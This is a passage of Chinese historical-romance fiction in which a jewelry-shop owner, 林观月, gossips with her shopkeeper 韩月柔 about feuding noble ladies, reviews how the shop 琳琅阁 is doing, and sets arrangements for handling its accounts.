“这……确实不太可能。”入画自己也是独生女,她理解这种感受,若她是福昌县主,那毕竟是看一眼长明县主都觉得厌烦。 “是吧!你就说这是不是孽缘吧!”韩月柔一脸八卦,啧啧摇头:“不过这安郡王妃也是,明知道两个孩子有矛盾也不想着调和,不知她是怎么想的?” “月姨,慎言!”入画连忙提醒。 “我就是在东家面前说一说,平日里会注意的。”韩月柔看着入画笑道:“不过小入画倒是谨慎,要好好保持。” 入画一脸无奈,她现在觉得这位韩掌柜有些不着调了。 “行了,说正事。”林观月放下茶盏,转而看向韩月柔:“月姨,这两年在京城如何?” 韩月柔神色正经了些:“琳琅阁这两年经营的不错,东家设计的那些首饰也极受贵女们追捧。” “售量如何?” “京城贵女们几乎人人都有琳琅阁的首饰,只是或多或少。” 林观月颔首,又问:“月姨见过抱琴了吗?” “前几日见过一次抱琴姑娘,今年的账目也给抱琴姑娘看了。” “那就好。”林观月拿起茶杯轻轻啄了一口:“之后几年不出意料我会在京城,琳琅阁的账目每个月抱琴会来查,每三个月送给我看一遍。平日里若有要事直接到宣王府寻我,或是寻抱琴也可。若是有其他人有事寻我,你随机应变。” “是。”韩月柔点头应是,随后眼神有些纠结,看向林观月问道:“东家,这宣王府……日后该如何对待?” “不必优待,除非我亲自吩咐。”林观月淡淡回答,语气平淡无波。 韩月柔微微惊讶,但这样最好不过,笑着颔首:“晓得了,东家。” 二人又说了些别的,在闲聊当中,林观月对于京城如今的情况也有了大致的了解。 日影西移。